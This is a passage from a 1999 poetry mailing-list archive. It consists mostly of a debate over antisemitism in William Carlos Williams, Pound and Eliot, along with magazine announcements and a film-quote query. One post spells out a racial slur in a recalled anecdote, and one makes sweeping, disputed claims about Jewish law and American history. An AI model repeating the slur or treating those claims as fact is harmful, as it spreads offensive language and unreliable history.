the poets in the minefields of Pennsylvania labour day and night to produce the fairest examples of their craft. in California the entire population is in love, dreamy love, love without bounds or off track betting. in the wee country of Liechtenstein comrades walk straight to the shoe factory every morning to receive their free sneakers. in Rwanda the lions share their bread with the dead. and while this joy more than subsists, the moon looks down. the moon has pretensions to understanding, just like us, for the moon rolls thru the heavens tied to earth's mesmerizing gaze. most people don't care about that. in every inch of the land once known as Russia people open boxes with hope in their hearts. in Japan, the brilliant bullet trains add zest to understanding: such suddenness, such noise! and on it goes. a puddle called Walden Pond extrudes facts daily, and when people drown there, they drown deeply. no mention yet has been made of the delightful fund of lyres that the Grecian model government stockpiles for times of need, an agreeable figurative uncommon hug for one and all. France has learned to emulate the finest mountains of Peru, and even Parisians (formerly, a pox on them) are newly cheerful and inclined to greet Incas without ponderous escapade. Honduras cannot hide its cheeky aurora, Canada has half a mind to shout with glee, Tonga and Madagascar have learned frantic hand-holding tricks, Poland grips the ball with fiery new surety, everything Chinese adds the lift of oneness, trees sprout in the rocks of Thailand, chirping Floridians remove their masks, and everyone, everywhere, dances this glow. all this, friends, can be shipped right to your doormat.

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203. A H Bramhall
An Expert On New Jersey
Thu 15 Jul 1999

found a rhythm
in which
to dance. great
simplicities like that,
a way to make racism
or whatever
work for you, puts gumption in
your step. the whole plan
stands before you. racism
or any whatsis
can be impelled into

distinctions of power, like choosing to
feed a poet. what could be less
deleterious
than the knowledge that
your vices
sing for you. any gloom
surrounding you
turns to profit.
that's what expertise is for,
floating
into space
or spaces, making the
gruel taste good. sometimes dark, sometimes
informed by all
you know. cloud time
babies.

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204. **Mark Weiss**

Re: Williams Tombstone Sweepers etc.

Thu 15 Jul 1999

This is very disturbing. While I certainly agree with Michael Magee's plea for an examination of Williams' antisemitism as a complex phenomenon, I don't think that part of that complexity is explained by Stephen's suggestion that Williams was in some way reacting to or against his partly-Jewish ancestry. Williams, as far as I can gather from the writing, never thought of himself as Jewish or part-Jewish, never thought that culture was genetic. His antisemitism was entirely of the class-determined, unconscious, or at least unexamined, variety (I doubt he thought it was an issue, at least before 1940, although I'm sure he behaved appropriately with his Jewish friends), the variety of antisemitism that nowadays in the US is most likely to cause pain. Although it doesn't hurt to remember that the more violent kind exists here as well. Maria, I can't tell from your post if you're aware that the reaction you site to Lehrer's song was motivated by fear. Social ostracism, and a lot worse, on these liberated shores, is well within the memories of Jews of my generation and yours. I would suggest that this is a subject on which to tread lightly. It never occurred to me that Kent was disowning Williams, whom I too revere. But the wounds are very fresh.

At 11:25 AM 7/14/99 -0600, you wrote:
>nice post, stephen. i remember when the very Jewish Tom Lehrer's song
>"National Brotherhood Week" played on the air, and the line "Everybody

>hates the Jews," was roundly criticized by Jews and non-Jews for being
>anti-Semitic, while i think, in fact, every Jew also recognized its ironic
>"so what else is new" shrug --but didn't necessarily want that sense of
>irony aired to the non-Jewish world for fear that it would be read straight
>and thus possibly fan flames of anti-Semitism. It's like the risk a Jew
>takes when telling a "Jewish joke" (*not* an anti-Semitic joke) in front of
>non-Jewish friends who may then go tell it in a context (for instance, in a
>setting where there are no Jews) that makes it far more volatile.
>
>At 12:14 PM -0400 7/13/99, Stephen Vincent wrote:
>>Kent Johnson's righteousness - or at least that tone - about nailing WCW to
>>an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not
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>>if Johnson's trying to throw the Doctor out with the bath water, but I
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>>get uncomfortable when anyone (myself included) goes to the Holy ground
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>>an implicit claim of purity - what ever might be the issue. I would go as
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>>to say that my opposition to anti-Semitic, anti-Palestinian, racist,
>>homophobic or any other abusive behavior involves a personal
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>>and desire to exorcise some part of my person that has inherited or learned
>>those behaviors (via ample examples whether in the language or acted out
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>>the street). I suspect there will always be that tension and fight in the
>>culture, at least my experience of it.
>> But going back to Williams, is it possible to view his
double-dipping
>>into offensive, particularly anti-Semitic language in the context of his
half
>>or part Jewishness? In fact, in the same breath, has any critic delved into
>>this internal pluralism as one of the ways of looking into at least part of
>>William's interest and willingness to take on American culture as a
>>pluralistic condition. (Whereas Eliot and Pound, in the face of the European
>>migrations of the turn of the century, clearly took the xenophobic route out
>>of the country.) WCW is one of a number of great writers in this century who
>>are half or part Jewish. In the context of the evidence and questions
>>surrounding his anti-Semitic quotes, I think of Proust who, on one hand, was
>>one of the public leaders in the fight to free Dreyfus and, on the other,
>>Remembrance of Things Past has a strong share of anti-Semitic caricatures.
I

>>suspect these internal battles are part of the condition of being a blend of
>>different cultures.
>>
>>Not being Jewish, I, nevertheless, do have a sense that the issues raised by
>>those who are half-Jewish (in relationship to Jews and non-Jews) is bubbling
>>as something not spoken or addressed, perhaps ignored by some as a painful
>>taboo, or somehow an embarrassment to acknowledge. As to why, I cannot
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>>These are issues, of course, that can be raised about the work of any writer
>>who comes out of a biological blend of any historically oppositional groups
>>(and perhaps classes). I suspect for many who carry such blends, it's both a
>>gift and a curse - leading to these curious quandaries of point of view that
>>come up in Williams and others. These blends and the particular consequent
>>larger social overview, however, clearly lead to some great writing.
>>
>>Cheers,
>>Stephen Vincent
>>
>
>

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205. **Mark Weiss**
Re: PS on Williams
Thu 15 Jul 1999

When I was a little kid we used to vacation at a cheap resort in the Poconos, which were a lot more remote before the construction of I-80 than it is now. I became close friends with the owner's son who had a black German Shepherd names Nigger. I don't think he'd ever met a Black person, but I don't doubt for a minute that he and his family were racists. But maybe when he called his dog he was feigning a persona.

At 01:21 PM 7/15/99 -0400, you wrote:
>As a sort of postscipt to my other comments on Williams, I would note that
>the quotes Eliot Weinberger draws from his stories, while being quite
>powerfully derogatory, could be seen to consistently fall within the realm
>of "speaking through the other," i.e. echoings of the local tongue and
>prejudices, and also within my idea of the fetishized ethnicity. My sense
>is that Williams didn't belong to any local community in Rutherford in any
>very easy way -- he felt quite alienated, as we all know -- so a lot of
>what sounds like "plain speech" in Williams can often be seen as not his
>own plain speech, until perhaps the Asphodel poem where it seems all him.

>But that's because we know to whom he is speaking -- i.e. Flossy. But when
>he writes "He was one of those Jews..." sounding like he's addressing
>someone, but who is this? (If one imagines that he thought his first or
>only readers for such stories would be his sophisticated New York literati
>friends, many of whom were Jewish, how do these lines resonate with them?)
>
>In any case, what would be interesting would be if someone could find the
>kind of invective that one finds in Pound and Cummings and others, or the
>kind of detached "objective" tone in Eliot's writing on Christian culture,
>in Williams -- i.e. something more discursive and outside the realm of pure
>imagism, something with a sure sense of audience and purpose -- since such
>a thing would point to a more synthesized world-view in Williams that
>presently we can't see. I've never quite figured out whom Williams was
>addressing in Spring and All, for example -- much of which, as I'd written
>to a friend earlier, would sound like the most vicious "flame" on the
>internet -- and I think this vagueness about his audience contributes to
>the choppy, seemingly incomplete nature of his "career," i.e. the ups and
>downs of his work.
>
>Also, can I suggest Marianne Moore as a modernist not motivated by hate or
>exhibited anti-semitism? I'll probably find this wasn't the case.
>
>Brian
>
>

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206. Julie Johnson
Duration: A Journal of International Poetry; Issue One now online
Thu 15 Jul 1999

Duration Press is pleased to announce that the first issue of its new online journal is now online.

Featuring work by:

Elizabeth Treadwell, Kristin Prevallet, Tchicaya U Tam'Si, Patrick Durgin, Leonard Brink, Gary Sullivan, Beth Anderson, Sheila Murphy, Hoa Nguyen, Kevin Magee, Spencer Selby, Jesse Glass, Jeffrey Jullich, & Rodrigo Garcia Lopes

The issue can be found at:

http://members.xoom.com/Duration/durationmag.html

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207. **Mark Weiss**
Pound and the Nobel Prize
Thu 15 Jul 1999

Someone suggested that those who had denied Pound the Nobel Prize had failed to separate the work from the man. They were in fact remembering some of the more disreputable works. When Kurt Waldheim, after his UN career, was discovered to have committed war crimes there were some who objected to his being elected president of Austria--his great post-war service were apparently enough to excuse his earlier behavior as far as the Austrian electorate was concerned, but the critics felt that some things are unforgiveable and that to honor the perpetrator is to diminish the apparent seriousness of what had been done. Pound wasn't a war criminal, merely a fellow-traveller of war criminals, but that's bad enough. To deny him the prize was not so much a judgment on the Cantos as a decision not to be seen as forgiving the unforgiveable in the context of a Europe where passions like those who had expressed during the war were and are very much alive.

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208. **Judy Schwartz**
Re: COPE'S OPPEN---
Thu 15 Jul 1999

On Thu, 15 Jul 1999, Kimmelman, Burt wrote:

> *Judy,*
>
> *Forgive my obtuseness, but I don't get this: "How does one get a copy of THE GERM? (from someone who IS a great fan*
> *of*
> *OPpen's poetry) --Judy S."*
>
> *I guess if I did I'd not have had to ask.*

Burt: Not sure what you're asking. I was responding to the message printed below, cause I don't know that journal. The part about Oppen was also in response to the message below. If it makes no sense, it may be that my brain is fried from completing a dissertation (on Oppen). Anyway, I would like to know how to get a copy of the article/journal. --Judy

> *-----Original Message-----*
> *From: Judy Schwartz*
> *To:* [redacted]

> *Sent: 7/14/99 3:54 PM*
> *Subject: Re: COPE'S OPPEN---*
>
> *On Mon, 12 Jul 1999, Chris Stroffolino wrote:*
>
> *Congrats on Stephen Cope for his work on Oppen recently published*
> *in THE GERM. It is a quite interesting piece. I don't agree with*
> *ALL of it, but it is fascinating and worth reading (especially*
> *for those of us who've never been especially great fans of his*
> *poetry).....*
>
> *How does one get a copy of THE GERM? (from someone who IS a great fan of*
> *OPpen's poetry) --Judy S.*

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209. **rebecca wolff**
fence new issue site
Thu 15 Jul 1999

Fence finally got our current issue, #3, up on our website:

http://www.fencemag.com

Please visit.

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210. **Alan Sondheim**
(for ANC and NP)
Thu 15 Jul 1999

-

the laws, somebody decided something
they heard it passed down, they read it in a text
they interfered with the law of gravitation
they said, suspend

different people moved apart from different people until the same went with the same

the same modified the laws to their liking or they forgot them

they'd heard there was more than one path through the forest they understood what they heard

we're the people of understanding, they said, one to another

there were interpretations of gravitation but no one understood that the world was everywhere in the world

if they'd understood that, the troubles wouldn't have started
as it was
someone asked what the laws had to do with anything
she said it properly, spoke clearly, no one had trouble with it
she lost her head over it, it couldn't have been otherwise
the head was the seat of the problems
things that sounded like words came forth

i think they continued for a long while
later the laws, somebody decided something

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211. **pete spence**
Re: H W
Fri 16 Jul 1999

---

the last notification of Hanna's WRITTEN IN/THE ZERO ONE had about 30 people interested e-mailing me for information on how to get!! seems in the end only 2 could overcome the information and actually order!! there are still 60 copies for sale!!

also i have ready Hannah's COUNTRY GIRL the second of four early journals and written in 1971

you can now order this book from LOOK!! POETRY!!

by sending $5 U.S. cash to:

pete spence
40 bramwell st
ocean grove
3226
victoria australia

airmail your letter otherwise it will take about three months!! i will airmail you back the book.

if you want both WRITTEN IN/THE ZERO ONE and COUNTRY GIRL then $10 U.S cash will see it done

thanks pete spence

Get Your Private, Free Email at http://www.hotmail.com

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212. **Stephen Vincent**
Re: Purity
Fri 16 Jul 1999

In a message dated 7/15/99 4:25:15 PM, [redacted] writes:

<< I _love_ Williams. If he was more of a prick, more humanly sinful than the canon-makers have let on, that does nothing to diminish the greatness of his poetry. And in some ways the darkness makes the greatness all the more fascinating! The record is the record (which, yes, is open to differing interpretations), and I think it's best to talk about it without the innuendo you interject above. Kent >>

Dear Kent: My apologies if I stacked the deck. Both I and Mark Weiss (who also took exception to my post) looked in vain to see if there was an original post which led to your motivation to focus on WCW's anti-Semitism. Left with only the post with the anti-Semitic focus, your tone sounded like you were primarily interested in clearing Williams out of the house! Your most recent post indicates, to the contrary, that these revelations about Williams are much more conflicting and clearly at odds with your love for the work. The nastiness in my initial reaction to your post is no doubt partly a "sacred cow" response. Rule of thumb in this house, when the Muse is in doubt read "Desert Music," or parts of Patterson among other poems. Unlike Eliot or Pound, who I read as teachers, Williams remains a healer, plus, in addition to Reznikoff, it is work that originally gave me permission to acknowledge and take consciousness in the City (infinite, local and various), one that was quite different from the Mandarin one in Pound and Eliot. (The specific impact of Jewish writers on poetry of the twentieth century City is a whole different but probably related thread, including Williams' influence.) I believe the anti-Semitic acknowledgment in Williams work is vital to both engage and explore, particularly where and in the way it shifts one's experience and interpretation of the actual poems and stories. (The List responses have begun to do that.) I suspect for any conscious person, an act of reading is always a double-dance, partnering with what one loves while kicking out what disgusts. In the context of Modernism - at least how we as contemporaries relate to it – it would be curious to know more about the ways in which Zukofsky, Reznikoff, Oppen and Rakosi dealt with Eliot, Pound and Williams' in terms of a work's implicit or explicit anti-Semitism. Did these Objectivists kick privately or publicly, and, if publicly, at what risk, what cost? And have things changed?

Cheers,
Stephen Vincent

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213. John Tranter
Not all salt is NaCl
Fri 16 Jul 1999

In response to a recent posting from New Zealand about a magazine called "Salt", I'd like to pass on to the Buffalo List the following:

"John Kinsella, editor of the Australian [literary magazine] "Salt", would like to state clearly that the journal he has edited since 1990 has no connection with the newish NZ journal of the same name."

John Tranter, editor, Jacket magazine

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214. Michael Magee
Re: PS on Williams
Fri 16 Jul 1999

According to Brian Stefans:
>
> Also, can I suggest Marianne Moore as a modernist not motivated by hate or
> exhibited anti-semitism? I'll probably find this wasn't the case.
>
> Brian
>

Brian, yes, - there may be evidence of anti-semitism by Moore out there, but I've certainly never come across it, and have always taken heart in these lines which conclude here wonderful homage to miscegenated culture, "The Labors of Hercules" ("To popularize the mule" is the objective stated at it's beginning):

"that the Negro is not brutal,
that the Jew is not greedy,
that the Oriental is not immoral,
that the German is not a hun."

If I'm not mistaken, this was written in the early '20's (was she regretting that final line ca. 1940? - probably not: the point seems to be as much about adjectives standing in for complex wholes as it is about objecting to specific cases of racism, although for her these two things would finally have been inseparable.) Anyway, thought I'd mention it. Thanks for your fine posts on this subject!

-m.

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215. **Stephen Ellis**
Manifest Destiny
Fri 16 Jul 1999

The "field" of racism re: Williams, Pound & Eliot extends beyond the bounds of a specific anti-semitism; ancient cultic law is not based on tolerance. Not to be overly "Hebraic" about it, the fact remains that the murder of former Israeli Prime Minister Rabin had, in some interpretations, rabbinical sanction. Semitic law in general gives sanction for murder, if evidence exists - and suspicion is often thought sufficient evidence - that a person presents a threat to the security of the clan at large. We still operate under a similar system, as a glance at who's who on any Death Row will tell you. Enemies of the State. America wasn't founded to protect the interests of any sense of the common man or to the common good; it was founded to protect the interests of a wealthy group of molasses bootleggers operating out of the Carribbean. Interesting in this light to recall that Washington initially considered making Hebrew the national language, probably having to do with aligning America with the moral authority represented by the rise of "Israel" at the end of the world in the Book of Revelations. Nineteenth century Manifest Destiny is a pure product of nothing but. In fact, the genetic/hereditary science of Eugenics was a 19th century American invention, and the Sterilization Laws passed in 1907 by the State of Indiana "to prevent procreation of confirmed criminals, idiots, imbeciles and rapists" was the prototype for Nazi-funded scientific missions to find "reason" for persecution of Jews. WCW, Pound, Eliot & Co. - "us all" too - are the inheritors of this tradition. Given this, the accusation that these guys were "anti-semitic" seems trite; the more essential question lies in the extent to which they - or any of us - gave (or in our case, continue to give) sanction to state-infected suppositions toward "liberation." Calling WCW anti-semitic merely sweetens the lie that we in fact DO have the moral authority to "call him down," but what phantom will rise from the process of so doing? Or more specifically, though maybe slightly off the mark, what are the relations between poetic form, natural proportion and human law, for example, that permit the existence of a sort of "screen" or "grate" through which we may have intimations of the smell of death, but no actual access to the causatively related "killing floor"? When the feeling of "threat" is multiplied into an analogical "house of mirrors" (and perhaps of cards), how do we identify it, ie., how do we get into the basement over which the killing floor is laid? S E

> *From: KENT JOHNSON <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Purity*

> *Date: Wed, 14 Jul 1999 11:08:33 -0500*
>
> *May I indulge in some self-defense, please?*
>
> *Stephen Vincent wrote:*
>
> *Kent Johnson's righteousness - or at least that tone - about nailing WCW to an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not sure if Johnson's trying to throw the Doctor out with the bath water, but I always get uncomfortable when anyone (myself included) goes to the Holy ground with an implicit claim of purity - what ever might be the issue. I would go as far to say that my opposition to anti-Semitic, anti-Palestinian, racist, homophobic or any other abusive behavior involves a personal acknowledgment and desire to exorcise some part of my person that has inherited or learned those behaviors*
>
> *Stephen, if I point out, as I did, that there is textual evidence of a strong anti-Semitic strain in Williams, why is this "self-righteousness"? I responded to what I felt was a significant blind spot in Billy Little's typically-provocative post, and did so in a reasonable way, I thought. Then there were four indignant responses, all of which strongly denied the applicability of the term, a couple of these calling my post "ridiculous." So I responded, pointing people to some specific evidence, and now am accused by you of being self-righteous, by implication blind to my own likely racism, and of trying to throw WCW "out with the bathwater."*
>
> *I _love_ Williams. If he was more of a prick, more humanly sinful than the canon-makers have let on, that does nothing to diminish the greatness of his poetry. And in some ways the darkness makes the greatness all the more fascinating! The record is the record (which, yes, is open to differing interpretations), and I think it's best to talk about it without the innuendo you interject above.*
> *Kent*

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216. **Dana Lustig**

Re: Williams Tombstone Sweepers etc.

Fri 16 Jul 1999

I think your point about the *Jewish joke* is accurate. To laugh at one's stereotypes tends to render it harmless, but from others it has the threat of danger.

Not to prolong this much further, but I think that to judge WCW based upon the mores and political correctness of our time takes him out of the context of his time. I agree with m. magee "that the question, "Why do anti-semitic trusims pepper Williams's writings?" is not so easily answered; but if answered complexly might be pretty valuable" Why do people affiliate themselves with specific race/religious/class groupings, but also retain certain inbred prejudices against them? I find WCW's position interesting indeed, but perhaps that's because I'm half Puerto-Rican, brought up with a Jewish stepfather and family.

I will say that based upon my experience with a multicultural, multiracial, multi-religious family is, even those who consider themselves "liberal" for their time still retain certain prejudices. My (Jewish) grandparents, who were highly educated, well-respected, well-read, well-traveled, and fairly "liberal" for their time, still had prejudices. They were never overt about their opinions, and I wouldn't classify them as ever having been "racist", but I think that they, like many others of their time (brought up just prior to the women's movement, the civil rights movement, racial pride, etc) unconsciously grasped onto the usual opinions, even as they didn't "in principle" believe in it. We expect everyone we admire in history to have the sensitivity we have "now" towards complex issues. I think it's relative to one's place in time. Picasso was misogynistic towards women, but that doesn't diminish his massive contribution to 20th century art. In fact, his misogny produced some of his most effective works, because the subjects of his work were some of the women he put through the wringer. In that way we should view WCW's work--how did his dual sympathies/prejudices against race/religion figure in giving his work the brilliance it has? Seems a much more productive vein to approach him than an attack on the standards of his time and his own human frailities.

Yours,

d (martinez) lustig

_____ Reply Separator _____
Subject: Re: Williams Tombstone Sweepers etc.
Author: [redacted] at Internet-USA
Date: 7/15/99 7:24 PM

nice post, stephen. i remember when the very Jewish Tom Lehrer's song "National Brotherhood Week" played on the air, and the line "Everybody hates the Jews," was roundly criticized by Jews and non-Jews for being anti-Semitic, while i think, in fact, every Jew also recognized its ironic "so what else is new" shrug --but didn't necessarily want that sense of irony aired to the non-Jewish world for fear that it would be read straight and thus possibly fan flames of anti-

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>those behaviors (via ample examples whether in the language or acted out on
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>culture, at least my experience of it.
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>gift and a curse - leading to these curious quandaries of point of view that
>come up in Williams and others. These blends and the particular consequent
>larger social overview, however, clearly lead to some great writing.
>
>Cheers,
>Stephen Vincent
>

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217. **Jamie Perez**
submissions w/rejections
Fri 16 Jul 1999

---

why not just print your rejection slips on paper that has submission info on the back... they will most likely notice it due to the way paper is folded into an envelope

if they are already subscribers they will notice how clever your stationary is... if they aren't they will think it's clever and may start subscribing or may not

either way, no extra paper wasted and no insult is intended

#2: will work best if you print the info in a different color (see the red or green ink copier at Kinko's), to differentiate from the black ink of the letter

#3: would look great if the info took up about 1/3 a sheet of paper (or less) and was printed multiple times down the back of the paper, with the top and bottom "copy" being cut off by the page: as if the entire sheet of paper was machine produced in that form

#4: this could even be done with a custom handstamp

for the record: I spend about 100 times the amount on newsstand copies vs. subscriptions, but am trying to even out the trend a little

jamie.p

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218. **Maria Damon**
Re: Williams Tombstone Sweepers etc.
Fri 16 Jul 1999

At 5:56 PM -0700 7/15/99, Mark Weiss wrote:
>This is very disturbing. While I certainly agree with Michael Magee's plea
>for an examination of Williams' antisemitism as a complex phenomenon, I
>don't think that part of that complexity is explained by Stephen's
>suggestion that Williams was in some way reacting to or against his

>partly-Jewish ancestry. Williams, as far as I can gather from the writing,
>never thought of himself as Jewish or part-Jewish, never thought that
>culture was genetic. His antisemitism was entirely of the class-determined,
>unconscious, or at least unexamined, variety (I doubt he thought it was an
>issue, at least before 1940, although I'm sure he behaved appropriately
>with his Jewish friends), the variety of antisemitism that nowadays in the
>US is most likely to cause pain. Although it doesn't hurt to remember that
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>worse, on these liberated shores, is well within the memories of Jews of my
>generation and yours.
>I would suggest that this is a subject on which to tread lightly. It never
>occurred to me that Kent was disowning Williams, whom I too revere. But the
>wounds are very fresh.
>

i agree, this is a volatile thread and one that i care a lot about and want to participate in, not because of W C Williams so much (though these quotes from Kent and Weinberger are new to me, disturbing, and interesting) but because i find Jewishness, so-called "Jewish self-hatred," and anti-Semitism to be compelling and complex subjects. in my post i explicitly said "for fear that it would be read straight and thus possibly fan flames of anti-Semitism." so yes, i do see fear as a motivating force, but perhaps not as strongly as you do. perhaps i shd rethink that relative lightness. On the other hand, I think Jews should be less fearful of debating Jewish complexity in public --to be silent on these complexities is, i believe, to capitulate to the mainstream culture's desire to keep Jewish discussion of Jewishness at the margins. Sometimes when I've posted something about being Jewish on this list, I've gotten back-channel acknowledgements and thanks from other Jews for my post --but not public posts. While I certainly respect each Jewish person's right to determine the degree to which he or she wants to protect him or herself around such issues, and while i appreciate the delicacy and beauty of an "invisible community" forming under or adjacent to the mainstream lines of Poetics, i welcome the publicness with which this thread is being conducted. tho i may change my mind at any moment.

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219. **Pritchett,Patrick**

Re: Name That Quote

Fri 16 Jul 1999

Yes, yes, it is, George. But Pete is referring to the great scene in the bar where a drunken Mowbray haltingly recites Hamlet's soliloquy, falters, then gives it over to Doc Holliday to finish. I don't know the source of the quote Pete's referring to and it's driving me nuts since my VCR is broken and I can't pop in my copy of "Clem" to check it out. This film also contains this classic exchange, set in the same bar:

Fonda/Earp: "Mac, you ever been in love?"
Mac: "Nope, I've been a bartender all my life."

Patrick Pritchett

> *-----Original Message-----*
> *From: George Bowering [SMTP:[redacted]]*
> *Sent: Thursday, July 15, 1999 2:38 AM*
> *To: [redacted]*
> *Subject: Re: Name That Quote*
>
> *In "My Darling Clementine," Alan Mowbray (who's playing Thorndike, the drunken Tragedian) says farewell to Francis Ford (who's playing Dad, the old porter and Thorndike's drinking buddy and keeper) and recites some lines that begin "Great souls" and then there's "allegiance" in the middle and it ends with "burn." If anybody recognizes this quote, please let me know.*
> *Pete*
>
> *Am I getting my memories mixed up? Wasnt "My Darling Clementine" about the gunfight at the OK Corral, with Henry Fonda?*
>
> *George Bowering.*
>
> *,*
>
> *fax: [redacted]*

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220. W. Freind
Subscriptions, submissions, etc.
Fri 16 Jul 1999

Just a quick comment on the editors who have been complaining (legitimately) about people who submit but don't subscribe. At least a few of you haven't posted to UB poetics, subsub, etc. when you have new issues coming out. Why not send a brief post with a list of contributors and reviews?

Bill Freind

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221. hassen
Million Artist March
Fri 16 Jul 1999

---

fellow listees~

perhaps some might be interested in the following info.

hassen

>>
The Million Artist March
On The Avenue Of The Arts
in Philadelphia
on Saturday, July 17, 1999

The Million Artist March is organized by MAMOTAA, an arts advocacy group under the non-profit umbrella of Jobs With Peace. MAMOTAA's goal is to send one million signatures to Congress requesting that art programs be reinstated in the public school curriculum. We also ask that art teachers and artists be hired to teach these programs. MAMOTAA's work will not end in July 17, 1999. We will continue to be an arts advocacy organization, job bank and information center until Washington addresses this issue.

The day will begin at 11am with a dance, music and color-filled march from the Avenue of the Arts to the Benjamin Franklin Parkway where seven stages will provide music performance and spoken word events. The Parkway will be lined with tables to sell original art work.

If you're an artist, art student, parent or concerned citizen, come to Philadelphia to show your support. CELEBRATE for a cause.

Please sign the petition and forward to friends, family and e-buddies. Call and ask for details about sponsoring and art ride to Philadelphia for the march.

For more information, contact:
MAMOTAA/Jobs With Peace
1809 Spring Garden Street
Philadelphia, PA 19130
Call: [redacted]
Fax: [redacted]
Toll Free: [redacted]
MAMOTAA Petition
Million Artist March On The Avenue of the Arts
http://www.millionartistmarch.com/elements/artcontents.html
<<

> *critics felt that some things are unforgiveable and that to honor the perpetrator is to diminish the apparent seriousness of what had been done. Pound wasn't a war criminal, merely a fellow-traveller of war criminals, but that's bad enough. To deny him the prize was not so much a judgment on the Cantos as a decision not to be seen as forgiving the unforgiveable in the context of a Europe where passions like those who had expressed during the war were and are very much alive.*

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224. **Al Filreis**
Re: Pound and the Nobel Prize
Fri 16 Jul 1999

Pound was up for the Bollingen prize, not the Nobel.

Was awarded it, in fact, Jordan. -- Al Filreis

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225. **Balestrieri, Peter**
Re: George Bowering on Name That Quote
Fri 16 Jul 1999

Hi George,

Your memory doesn't fail you - My Darling Clementine is indeed about the fight at the OK Corral and stars Henry Fonda. Shortly after Fonda/Earp becomes Tombstone's Marshall, a touring Shakespearean actor, Mowbray/Thorndike, comes to town. He's quite a drinker and is joined in his cups by Dad/Ford(John Ford's brother). Mowbray has some poignant scenes with Fonda and Victor Mature(as Doc Holiday), especially one involving Hamlet's "To be or not to be..." When Mowbray/Thorndike leaves town, he embraces Dad/Ford and recites what may or may not be more of the Bard. The piece begins "Great souls" and mentions "allegiance" and ends with "burn." It's very touching and a beautiful recitation. I'm wondering about the origin of the quote and hoping it rings somebody's bell. I urge everyone on the List not busy trying to figure out if WCW was anti-Semitic or debating how best to get into print to rent My Darling Clementine and hear the quote firsthand. Bonuses: Linda Darnell singing, "In gambling halls he was laying, 10,000 cattle straying." and Ward Bond cussing in Spanish.

Pete

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226. **Mark Weiss**
Re: Manifest Destiny
Fri 16 Jul 1999

I hesitate to respond to this. Are you saying that everything is the same and no differentiation is possible?

Your interpretation of the American Revolution seems rather simplistic, but let that go. I'd love to see some documentation of Washington's thinking about making Hebrew the national language--it's new to me. And as to his interest in the Book of Revelations--I thought he was a deist.

At 06:56 AM 7/16/99 PDT, you wrote:
>The "field" of racism re: Williams, Pound & Eliot extends beyond the bounds
>of a specific anti-semitism; ancient cultic law is not based on tolerance.
>Not to be overly "Hebraic" about it, the fact remains that the murder of
>former Israeli Prime Minister Rabin had, in some interpretations, rabbinical
>sanction. Semitic law in general gives sanction for murder, if evidence
>exists - and suspicion is often thought sufficient evidence - that a person
>presents a threat to the security of the clan at large. We still operate
>under a similar system, as a glance at who's who on any Death Row will tell
>you. Enemies of the State. America wasn't founded to protect the interests
>of any sense of the common man or to the common good; it was founded to
>protect the interests of a wealthy group of molasses bootleggers operating
>out of the Carribbean. Interesting in this light to recall that Washington
>initially considered making Hebrew the national language, probably having to
>do with aligning America with the moral authority represented by the rise of
>"Israel" at the end of the world in the Book of Revelations. Nineteenth
>century Manifest Destiny is a pure product of nothing but. In fact, the
>genetic/hereditary science of Eugenics was a 19th century American
>invention, and the Sterilization Laws passed in 1907 by the State of Indiana
>"to prevent procreation of confirmed criminals, idiots, imbeciles and
>rapists" was the prototype for Nazi-funded scientific missions to find
>"reason" for persecution of Jews. WCW, Pound, Eliot & Co. - "us all" too -
>are the inheritors of this tradition. Given this, the accusation that these
>guys were "anti-semitic" seems trite; the more essential question lies in
>the extent to which they - or any of us - gave (or in our case, continue to
>give) sanction to state-infected suppositions toward "liberation." Calling
>WCW anti-semitic merely sweetens the lie that we in fact DO have the moral
>authority to "call him down," but what phantom will rise from the process of
>so doing? Or more specifically, though maybe slightly off the mark, what
>are the relations between poetic form, natural proportion and human law, for
>example, that permit the existence of a sort of "screen" or "grate" through
>which we may have intimations of the smell of death, but no actual access to

>the causatively related "killing floor"? When the feeling of "threat" is
>multiplied into an analogical "house of mirrors" (and perhaps of cards), how
>do we identify it, ie., how do we get into the basement over which the
>killing floor is laid?
>S E
>
>
>
>
>
>>From: KENT JOHNSON <[redacted]>
>>Reply-To: UB Poetics discussion group <[redacted]>
>>To: [redacted]
>>Subject: Purity
>>Date: Wed, 14 Jul 1999 11:08:33 -0500
>>
>>May I indulge in some self-defense, please?
>>
>>Stephen Vincent wrote:
>>
>> >Kent Johnson's righteousness - or at least that tone - about nailing
>> >WCW to an anti-Semitic cross seems to me to indulge an easy
>> >dichotomy. I am not sure if Johnson's trying to throw the Doctor out
>> >with the bath water, but I always get uncomfortable when anyone
>> >(myself included) goes to the Holy ground with an implicit claim of
>> >purity - what ever might be the issue. I would go as far
>> >to say that my opposition to anti-Semitic, anti-Palestinian, racist,
>> >homophobic or any other abusive behavior involves a personal
>> >acknowledgment and desire to exorcise some part of my person that
>> >has inherited or learned those behaviors
>>
>>Stephen, if I point out, as I did, that there is textual evidence of
>>a strong anti-Semitic strain in Williams, why is this
>>"self-righteousness"? I responded to what I felt was a significant
>>blind spot in Billy Little's typically-provocative post, and did so
>>in a reasonable way, I thought. Then there were four indignant
>>responses, all of which strongly denied the applicability of the
>>term, a couple of these calling my post "ridiculous." So I responded,
>>pointing people to some specific evidence, and now am accused by you
>>of being self-righteous, by implication blind to my own likely
>>racism, and of trying to throw WCW "out with the bathwater."
>>

>>I _love_ Williams. If he was more of a prick, more humanly sinful
>>than the canon-makers have let on, that does nothing to diminish the
>>greatness of his poetry. And in some ways the darkness makes
>>the greatness all the more fascinating! The record is the record
>>(which, yes, is open to differing interpretations), and I think it's
>>best to talk about it without the innuendo you interject above.
>>Kent
>
>
>_____
>Get Free Email and Do More On The Web. Visit http://www.msn.com
>
>

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227. **Jordan Davis**
Re: Pound and the Nobel Prize
Fri 16 Jul 1999

I stand corrected.
Apparently Pound was sad not to be honored by the manufacturer of TNT.

Laissez les bons mots roulez.
Jordan

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228. **Michael Magee**
Re: PS on Williams
Fri 16 Jul 1999

According to Mark Weiss:
>
> When I was a little kid we used to vacation at a cheap resort in the
> Poconos, which were a lot more remote before the construction of I-80 than
> it is now. I became close friends with the owner's son who had a black
> German Shepherd names Nigger. I don't think he'd ever met a Black person,
> but I don't doubt for a minute that he and his family were racists. But
> maybe when he called his dog he was feigning a persona.
>

Mark, I understand where this is coming from vis a vis the Williams discussion, but it also seems worthwhile to point out that you've framed the issue in a classic and, to me, ultimately limiting way. Essentially, you're replaying a critique levied by Lukacs against existentialism - specifically Kierkegaard and

Heidegger. Lukacs says that their refusal to acknowledge the unity of the Self (eg, K's view of the individual as "incognito") was just bullshit:

